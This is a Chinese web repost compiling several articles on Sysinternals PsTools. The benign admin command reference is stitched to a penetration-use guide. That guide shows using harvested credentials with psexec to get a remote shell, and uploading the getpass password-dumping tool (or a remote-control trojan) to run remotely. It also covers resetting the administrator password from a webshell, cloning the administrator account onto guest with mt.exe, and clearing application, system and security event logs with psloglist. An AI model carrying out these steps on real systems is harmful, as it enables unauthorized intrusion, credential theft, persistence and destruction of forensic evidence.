pstools工具使用方法

更新时间:2024-01-18 02:11:01 阅读量: 教育文库 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

免责声明:本文章转载网络只供学习使用,请勿他用,后果自负

pstools工具使用方法

(1)psexec

psexec是一个远程执行工具,你可以像使用telnet一样使用它。 它的使用格式为:

psexec \\\\远程机器ip [-u username [-p password]] [-c [-f]] [-i][-d] program [arguments] 它的参数有:

-u后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。(如果没有-p参数,则输入命令后会要求你输入密码)

-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除) -d 不等待程序执行完就返回,(比如要让远程机器运行tftp服务端的时候使用,不然psexec命令会一直等待tftp程序结束才会返回)

-i 在远程机器上运行一个名为psexesvc进程,(到底什么用弄不明白)

假设我在远程机器ip有一个账号,账号名是:abc 密码是:123 比如想要用telnet一样在远程系统上执行命令可以打: psexec \\\\远程机器ip -u abc -p 123 cmd

如果想要远程机器执行本地c:\\srm.exe文件可以打: psexec \\\\远程机器ip -u abc -p 123 -c c:\\srm.exe

如果想要让远程机器执行本地上tftp服务端,(假设tftp服务端在本地c:\\tftp32.exe),可以打:

psexec \\\\远程机器ip -u abc -p 123 -c c:\\tftp32.exe -d

(后面例子不再重复-u和-p的用法)

(2)psservice

psservice是一个服务管理程序。

它的使用格式为:

psservice [\\\\远程机器ip [-u username] [-p password]] 它的参数只有:

-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。(如果没有-p参数,则输入命令后会要求你输入密码) 它的command有:

query [服务名]:显示某一服务的状态,如不填服务名则显示所有服务的状态。 config <服务名>:显示某一服务的配置。 start <服务名>:启动某一服务。 stop <服务名>:停止某一服务。

testart <服务名>:停止某一服务并重新启动它。 pause <服务名>:暂停某一服务。 cont <服务名>:恢复暂停的服务。

depend <服务名>:显示某一服务依存关系。 find <服务名>:在网络种搜寻指定的服务。

比如你想查看在远程机器上的telnet服务的状态可以打:

psservice \\\\远程机器ip query tlntsvr (tlntsvr为telnet服务的服务名) 比如你查看远程机器上的telnet服务的配置可以打: psservice \\\\远程机器ip config tlntsvr

比如你想启动远程机器上的telnet服务可以打: psservice \\\\远程机器ip start tlntsvr 其他用法以此类推。

(3)pssuspend

pssuspend是一个暂时停止进程的软件 它的使用格式为:

pssuspend [-r] [\\\\远程机器ip [-u username] [-p password]] 它有三个参数:

-u:后面跟用户名 -p:后面是跟密码的,如果建立ipc连接后这两个参数则不需要。(如果没有-p参数,则输入命令后会要求你输入密码) -r:恢复进程。

比如要暂时停止一个pid号为999,名称为srm.exe的进程可以打:

pssuspend \\\\远程机器ip 999 或 pssuspend \\\\远程机器ip srm

如果想要恢复它就可以打pssuspend -r \\\\远程机器ip 999 或 pssuspend -r \\\\远程机器ip srm

(4)psinfo

psinfo是一个搜集机器软硬件信息的工具,它可以获得操作系统信息,硬件信息和软件信息。

它的使用格式为:

psinfo [-h] [-s] [-d] [-c] [\\\\远程机器ip [-u username [-p password]]] 它的参数有:

-u:后面跟用户名 -p:后面是跟密码的,如果建立ipc连接后这两个参数则不需要。(如果没有-p参数,则输入命令后会要求你输入密码) -h:是显示它安装了哪些补丁包 -s:是显示它装了哪些软件 -d:是显示磁盘信息。

比如我只想看远程机器的软硬件信息和只用打: psinfo \\\\远程机器ip

假如我还想看看它装了哪些补丁包可以打 psinfo -h \\\\远程机器ip

假如我还想看看它磁盘信息可以打: psinfo -d \\\\远程机器ip

如果我想看它装了哪些软件可以打: psinfo -s \\\\远程机器ip 简单吧.

(5)pslist

pslist是一个查看进程的程序。 它的使用格式为: pslist [-d] [-m] [-x][-t][-s [n] [-r n] [\\\\远程机器ip [-u username] [-p password]] [name | pid] 它的参数有:

-u:后面跟用户名 -p:后面是跟密码的,如果建立ipc连接后这两个参数则不需要。(如果没有-p参数,则输入命令后会要求你输入密码)

-s:是使用任务管理器模式实时查看进程,可以按ESC键退出。

-r <秒数>:是和-s连用的一个参数,它用来指定任务管理器模式是的刷新间隔。(默认的刷新间隔为1秒)

-d:示各个进程的cpu使用信息。 -m:显示各个进程的存储器使用信息。 -x:非常详细显示进程的所有信息。 -t:以树型方式显示进程。

比如要查看远程机器ip上的进程的cpu使用信息可以打: pslist -d \\\\远程机器ip

比如要查看一个pid号为999,名称为srm.exe进程的存储器使用信息可以打: pslist -m \\\\远程机器ip 999 或 pslist -m \\\\远程机器ip srm

比如要以任务管理器模式实时查看61.12.23.4上进程情况,并且刷新间隔为3秒可以打: pslist -s -n 3 \\\\远程机器ip

(6)psuptime

psuptime是一个了解远程机器运行了多久的命令。 使用它只需要打:psuptime \\\\远程机器ip

(7)psshutdown

psshutdown是一个远程关机命令。 它的使用格式为:

psshutdown [[-s | -r | -k [-t nn][-m \消息\远程机器ip]

它的参数有:

-a:取消以前执行的关机指令。 -t:离关机还有多少秒。(默认是20秒) -s:关闭机器。

-m:是要显示的信息。

-f:是关机是不保存运行的程序。 -r:表示重启。 -l:表示锁定电脑。 -o:表示注销用户。

比如我想让远程机器30秒后关闭并显示(要关机了,请保存文件)则打: psshutdown -t 30 -s -m \要关机了,请保存文件\远程机器ip 如果是要重起的话打:

psshutdown -t 30 -m \要关机了,请保存文件\远程机器ip 如果要取消刚才的指令可以打: psshutdown -a \\\\远程机器ip 其他参数以此类推。

(8)psfile

psfile是一个显示机器上的会话和有什么文件被网络中的用户的打开的命令。 它的使用格式为:

psfile [\\\\远程机器ip [-u Username [-p Password]]] [[Id | path] [-c]]

它的参数有:

-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。(如果没有-p参数,则输入命令后会要求你输入密码) -c:关闭会话或文件

比如我想看看远程机器上的会话和被远程用户打开的文件可以打: psfile \\\\远程机器ip 接着就会显示 [33] C:\\WINNT

User: ADMINISTRATOR Locks: 0 Access: Read [63] \\PIPE\\srvsvc

User: ADMINISTRATOR Locks: 0

Access: Read Write

接着我想关闭id为33,路径为c:\\winnt的这个会话可以打

psfile \\\\远程机器ip 33 -c 或 psfile \\\\远程机器ip c:\\winnt -c

(9)psloggedon

psloggedon是一个显示目前谁登陆的机器的命令。 它的参数只有:

-l只显示本地登陆用户而不显示其它的网络登陆用户 -x不显示登陆时间

比如说要显示远程机器现在登陆的用户可以打: psloggedon \\\\远程机器ip

(10)psgetsid

psgetsid是一个远程获取账号sid信息的工具。 它的使用格式为:

psgetsid [\\\\远程机器ip [-u username [-p password]]] [account] 它的参数有

-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。(如果没有-p参数,则输入命令后会要求你输入密码)

比如要看远程机器上账号名为abc的sid信息可以打: psgetsid \\\\远程机器ip abc

(11)pskill

pskill是一个杀除进程的程序。 它的使用格式为:

pskill [\\\\远程机器ip [-u username] [-p password]]

比如要杀除一个pid号为999,名称为srm.exe的进程可以打: pskill \\\\远程机器ip 999 或 pskill \\\\远程机器ip srm

(12)psloglist psloglist

psloglist是一个查看系统事件记录的程序。 它的使用格式为:

psloglist [\\\\远程机器ip [-u username [-p password]]] [-s [-t delimiter]] [-n # | -d #][-c][-x][-r][-a mm/dd/yy][-b mm/dd/yy][-f filter] [-l event log file] 它的参数有:

-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。 -c:显示事件之后清理事件记录

-l <事件记录文件名>:用于查看事件记录文件 -n :只显示最近的n条系统事件记录。 -d :只显示n天以前的系统事件记录

-a mm/dd/yy:显示mm/dd/yy以后的系统事件记录 -b mm/dd/yy:显示mm/dd/yy以前的系统事件记录

-f <事件类型>:只显示指定的事件类型的系统事件记录。 -x:显示事件数据代码

-r:从旧到新排列(如不加则默认是从新到旧排列)

-s:以一个事件为一行的格式显示,中间默认以逗号格开各个信息。 -t <字符>:这个参数和-s连用,以来改变-s中默认的逗号。

如果我想看远程机器的系统事件记录只用打: psloglist \\\\远程机器ip 123

比如我想看最近的10条error类型的记录可以打: psloglist \\\\远程机器ip -n 10 -f error

pstools套件在渗透中的应用详解

其实接触pstool很久了,但是据我观察用pstools套件在渗透中的应用的介绍却比较少。当然玩bt5的同学可能常常用到,小菜就写一篇关于pstools套件在渗透中的应用进行详解。

AD:

其实接触pstool很久了,但是据我观察用pstools套件在渗透中的应用的介绍却比较少。

当然玩bt5的同学可能常常用到,小菜就写一篇关于pstools套件在渗透中的应用进行详解。

pstool的介绍

PsTools是Sysinternals Suite中一款排名靠前的一个安全管理工具套件。现在被微软收购。目前pstools中含有12款各式各样的小工具。如果将它们灵活的运用,将会在渗透中收到奇效。所有的pstool第一次运行时都会弹框。可以用–accepteula这个参数绕过。

还有所有的pstool都支持IP$,一旦IP$共享是连接的就不用输入-u 和-p这两个参数。 如何建立IP$连接。命令如下: Net user \\\\目标ip\\ 密码 /user:用户 Net user \\\\192.168.1.3\\ 123456 /user:test 建立后所有的ps工具都将可以不用输入用户和密码了。 其中12款工具简介如下: ◆PsExec - 远程执行进程 ◆PsFile - 显示远程打开的文件 ◆PsGetSid - 显示计算机或用户的 SID ◆PsInfo - 列出有关系统的信息

◆PsKill - 按名称或进程 ID 终止进程 ◆PsList - 列出有关进程的详细信息

◆PsLoggedOn - 查看在本地通过资源共享(包含所有资源)登录的用户 ◆PsLogList - 转储事件日志记录 ◆PsPasswd - 更改帐户密码 ◆PsService - 查看和控制服务

◆PsShutdown - 关闭并重新启动(可选)计算机 ◆PsSuspend - 暂停进程

这里讲对其中的几个工具进行详解,其他的将只介绍用法。 psexec的应用详解

Pstools中最强大最常利用的工具就属psexec这款工具。这款工具的本意是替代telnet这种不安全的管理方式。它最大的特点就属无需安装客服端程序就可以远程操作服务器。

简单来说,就是一旦你知道服务器或者电脑的用户名和密码,你就可以利用它远程执行系统命令。这样一款工具放到渗透当中真是太淫荡了。它适用于windows NT/2x/xp/vista

下面介绍详细参数: -u 远程计算机的用户名 -p 远程计算机用户对应密码

-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除) -d 不等待程序执行完就返回 (意思就是,当你执行一个程序无需等到他结束才返回信息)

-h用于目标系统是Vista或更高版本

其他参数就不做介绍,这里主要是讲用法。 远程获取一个cmdshell

比如我再渗透中扫描到目标机(192.168.1.3)的一个用户名(test)和密码(123456)。 那我们的命令就是:

psexec \\\\目标ip -u 用户名 -p 密码 进程名 psexec \\\\192.168.1.3 –u test –p 123456 cmd.exe

看下图,这是成功连接到一台远程服务器,并获得一个cmdshell,shell权限即位当前用户权限。

这里还将提到的是由于windows策略,将不允许空密码登陆。

可能有些机油对用户权限登陆还有疑虑,什么用户才可以登陆。 我这建立了一个属于guest的一个用户我们来看看它是否能连接。

经过测试,比guest权限大的用户组都可以远程登陆。

IIS_WPG用户组的无法远程连接,但是你不用担心,一般属于IIS_WPG用户组的用户一般也属于guest用户组。

有关用户组相关的介绍请围观法客周年庆之提权专题 下载地址: http://www.2cto.com/ebook/201211/35554.html

获取cmdshell的介绍就到这里。一旦获得一个cmdshell后面的渗透将会比较轻松。 经过测试,用最新版的pstools,windows2008 win7 都能连接成功,win8由于没有win8系统,就未测试,应该是能行的,毕竟这是微软的管理工具。

Win7连接示意图:

程序上传并执行

首先现在在本地配置一个将上传到服务器上运行的程序到H盘根目录。这里用抓取系统密码的神器getpass来演示。H:\\getpass.exe

程序上传并执行命令如下:

Psexec \\\\192.169.1.3 –u test –p 12345 –c H:\\getpass.exe –d 最后一个-d的参数可有可无~~~

只是怕程序远程运行后会卡住而无法返回信息。 测试如图:

当然你也可运行一个远控木马这些都可以~~~ Psexec 的介绍就到这里了。 pspasswd的应用详解

Pspasswd是一个用来更改用户密码的工具,支持远程密码修改和本地密码修改。这款工具的特点就是不依靠net,exe程序进行密码修改。

本地修改命令如下:

pspasswd administrator yueyan 演示图如下:

远程命令如下:

pspasswd \\\\192.168.1.3 –u administrator –p 123456 guest yueyan

命令的意思就是,用administrator这个管理员账户登录后修改用户guest的密码为yueyan

相对来说本地修改密码的功能更强大一些。 我这将介绍个实例:

我的一个好基友Lynn得到一个jsp马,并且是nt authority\\system权限。但是无法添加用户,且无法用net修改管理员密码。抓取hash密码大于14位,LMhash无效,本地又为搭建彩虹表,网上破解无果。Hash传递登陆被拦截。但是机油lynn却一直想用administrator这个用户登陆进去,当然方法还有很多,比如: mimikatz.exe抓取明文密码等,这里我将介绍pspasswd的妙用。

我们想用administrator这个账户登陆进去。很简单,直接上传一个pspasswd上服务器。

执行下面的命令:

首先执行D:\\web|pspasswd.exe –accepteula (第一次执行,表示许可执行的意思) D:\\web|pspasswd.exe administrator yueyan 就会成功修改administrator的密码。

这里能修改密码的原因是pspasswd不是调用net.exe进行密码修改。 上述介绍常常配合mt.exe进行用户克隆。这里简单介绍: (关于mt.exe的详细介绍请访问:【工具】mt.exe的详细介绍) 首先mt.exe查看用户sid,比较后看是否有克隆账户 Mt -chkuser

比较后,没有克隆账户,我们选择guest这个账户进行克隆: Mt –clone administrator guest 然后配合pspasswd修改密码: Pspasswd guest yueyan

就这样成功克隆一个账户,并能成功登陆访问。

Pspasswd的功能就介绍到这里。 pskill+psinfo+pslist的应用详解 首先是介绍pskill.

如果你想远程结束远程主机上的一个进程,你可以使用pskill。 我们就介绍一下常用的命令:

比如我们想远程关闭远程主机正在运行的cmd这个进程,可以用pskill进行杀掉。命令如下:

pskill \\\\192.168.1.3 –u test –p 123456 cmd.exe 命令很简单~~~~

我再介绍psinfo的相关应用。 基本参数是:

-h 显示已经安装的补丁信息 -s 显示已安装的软件信息 -d 显示磁盘信息

如果我们想看远程主机的基本信息,命令如下:

psinfo –h –s –d \\\\192.168.1.3 –u administrator –p 123456 接下来就是pslist。

主要特点是,显示本地或者远程计算机的进程运行情况。 主要参数: -m 显示内存信息 -x 显示进程,内存和线程 -t 显示进程树

-s n 在任务管理器模式先运行,n指定秒,以esc结束。 -r n 任务管理器模式刷新速率,n指秒

例如我们想看远程计算机的进程运行情况,命令如下: Pslist –x \\\\192.168.1.3 –u test –p 123456 效果图如下:

其他ps工具介绍:

PSLOGGEDON:查看指定计算机的本地及远程登录的用户和登录时间。必须建立在IP$共

享下才可以使用这个工具。

命令如下:

Psloggedon –l \\\\192.168.1.3 PSLOGLIST:事件日志转储及管理。

这个对于渗透测试是非常有用的,它最大的特点就是远程清理系统日志。 常用:

psloglist \\\\72.56.17.74 application -c > nul psloglist \\\\72.56.17.74 system -c > nul psloglist \\\\72.56.17.74 security -c > nul 分别是清理应用程序日志,系统运行日志,安全日志。 PSSERVICE:管理服务。 常用:

psservice query messenger 查询messenger服务的相关信息。

最重要的项目是:服务名称、显示名称、服务描述、服务类型、服务状态。 psservice config messenger 查询服务的配置信息。

最重要的项目是:服务名称、服务描述、服务类型、服务启动类型、服务错误控制级别、可执行文件的路径等等。

PSSHUTDOWN:关机工具。

常用命令:

Psshutdown –s –t 60 60秒后关机。

下面几个不常用,就介绍下: PsFile - 显示远程打开的文件 Psfile \\\\192.168.1.3

PsGetSid - 显示计算机或用户的 SID Psgetsid \\\\192.168.1.3 PsSuspend - 暂停进程

Pssuspend \\\\192.168.1.3 –u test –p 123456 cmd,exe

第二个工具是Psinfo。正如它的名字所示,该命令可以查看本地或者远程计算机的一些系统信息、软件安装信息和其他信息,不加任何参数的Psinfo就只显示本地计算机的系统信息。用法如下:

psinfo [-h] [-s] [-d] [-c] [\\\\RemoteComputer [-u Username [-p Password]]] 我们用实例来介绍该命令的使用,在命令行下输入:

D:\\tools\\Pstools>psinfo file://192.168.0.8/ -s -u administrator -p 123

其中“-s”表示显示远程计算机上面已安装的软件信息,“-u”和“-p”含义同PsExec。这条命令显示192.168.0.8计算机上面的系统信息 和软件信息。系统信息包括系统安装时间、内存大小、CPU频率和品牌、操作系统类型等等;软件信息则会列出远程计算机上显示在“添加/删除”里的软件名 称。限于文章的篇幅,这里就不把上述信息列出,请大家在自己的计算机上面实验。

第三个工具是Psshutdown。从名称上可以看出这是一个可以进行远程关机和重启的程

序。使用语法如下:

psshutdown [[-s | -r | -k [-t nn][-m \ 这条命令最简单的使用方法为: psshutdown -r file://192.168.0.8/,

这条命令的意思是让远程计算机重新启动。其他参数请大家自己看帮助文件,在这里我只强调两点:1、使用该命令前必须先和远程计算机建立有效的ipc$连 接,因为我们可以看到该命令中并没有指定“-u”和“-p”;2、缺省情况下,命令发出后20秒才开始执行重启程序,如果你想立刻执行重启的话,请加上 “-t”的参数。

Pstools工具集中还有一个Pskill,它和Pslist成对使用,专门用来杀死进程的,使用方法也很简单,这里就不再介绍了。至于其他的工具,使用方法都大同小异,大家可以自己练习。

Pstools是一组非常优秀的网管工具集,是对Windows 2000资源工具的一个补充,希望大家能在自己的计算机上面进行实验,利用它更好地去管理我们的网络。

Pstools 是Windows平台下的一组不可多得的网管工具集,它由11个短小精悍的命令行程序组成,各自可以单独运行。说它们“短小”是因为这11个小软件加起来 所占用的总空间不超过1MB,说“精悍”嘛,呵呵,是因为它的功能实在太强大了。它不但可以帮助你管理本地计算机,也可以帮助你管理远程计算机;它是网络 管理员的利器,也是黑客的杀手锏。Pstools 是完全免费的软件,无需安装,解压后直接拷贝到电脑里就可以了,很符合当前“绿色”软件的标准。

Pstools总共包含11个可执行文件,每个文件名都以“ps”开头,这是因为Pstools中最早被开发出来的一个工具是用来查看进程详细信息的,而 Unix下面有一个相同的命令,名为ps,所以这个工具就被命名为pslist,而后陆续出来的其他工具便都沿用这个前缀

本文来源:https://www.bwwdw.com/article/ulto.html

Top